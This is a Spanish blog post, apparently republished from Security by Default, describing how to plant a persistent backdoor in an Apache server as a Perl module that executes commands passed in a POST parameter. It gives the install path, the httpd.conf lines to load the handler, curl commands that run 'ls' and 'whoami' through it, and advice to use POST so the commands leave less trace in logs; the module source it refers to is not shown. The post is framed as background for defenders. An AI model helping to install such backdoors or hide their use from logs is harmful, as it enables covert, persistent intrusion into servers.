23 jul 2012

Backdooring Apache instalando módulos

A la hora de pensar en cómo fortificar activos informáticos, diseñar políticas de seguridad o manejar información de un IDS, resulta importante tener todo el 'background' posible de las amenazas que te acechan.

El mundo de las 'backdoors' o herramientas destinadas a mantener un acceso ilegítimo, es muy amplio, rico y sofisticado, en el caso de Apache, parece que lo que más abunda son las típicas webshells, ficheros (normalmente en PHP) que se instalan como un CGI más pero con intención de poder ejecutar comandos a través del servidor web.

Este tipo de webshells tienen varios hándicaps:
  • Supone añadir un fichero en el directorio 'caliente' donde están las aplicaciones web.
  • Si se opta por modificar un fichero legítimo (troyanizarlo) se corre el riesgo de que en una actualización sea eliminado
En el post de hoy vamos a explicar una alternativa a las típicas webshells, vamos a crear una backdoor en forma de módulo Apache.

Crear un módulo Apache es relativamente sencillo ya que está bastante bien documentado como hacerlo, especialmente en C y Perl, optaremos por Perl para hacer un ejemplo sencillo de módulo 'backdoor' que funcione en cualquier instalación de Apache2 ahorrándonos tener que compilar nada.

Como se puede observar, bastante simple y sencillo, básicamente toma como parámetro (n) el comando a ejecutar, este comando es ejecutado, y se envía el resultado.

Para instalarlo, debemos copiar el fichero Auxiliar.pm (con el código anterior) en /usr/lib64/perl5/Apache2/ (ruta de una CentOS 6, otras distribuciones puede variar, especialmente si la arquitectura es 32bits)

Una vez copiado, necesitamos añadir las siguientes líneas en httpd.conf:

SetHandler perl-script
PerlHandler Apache2::Auxiliar


Reiniciamos el servidor, y si todo ha ido bien, ya tenemos disponible nuestra backdoor en forma de módulo.

La probamos:

$ curl -d "n=ls" http://192.168.4.66/auxiliar

[title]Backdoring Shell[/title]
bin
boot
cgroup
dev
etc
home
lib
lib64
lost+found
media
mnt
opt
proc
root
sbin
selinux
srv
sys
tmp
usr
var

$ curl -d "n=whoami" http://192.168.4.66/auxiliar


Funciona perfectamente. Es muy importante usar siempre peticiones de tipo POST, para evitar que quede logeado más de la cuenta (si bien mod_security permite entre otras cosas loguear el post completo):

Petición tipo GET almacenada en fichero de log:

GET /auxiliar?n=ls HTTP/1.1

Petición tipo POST almacenada en fichero de log:

POST /auxiliar HTTP/1.1

Fuente: Security by Default

Suscríbete a nuestro Boletín

1 comentario:

Gracias por dejar un comentario en Segu-Info.

Gracias por comentar!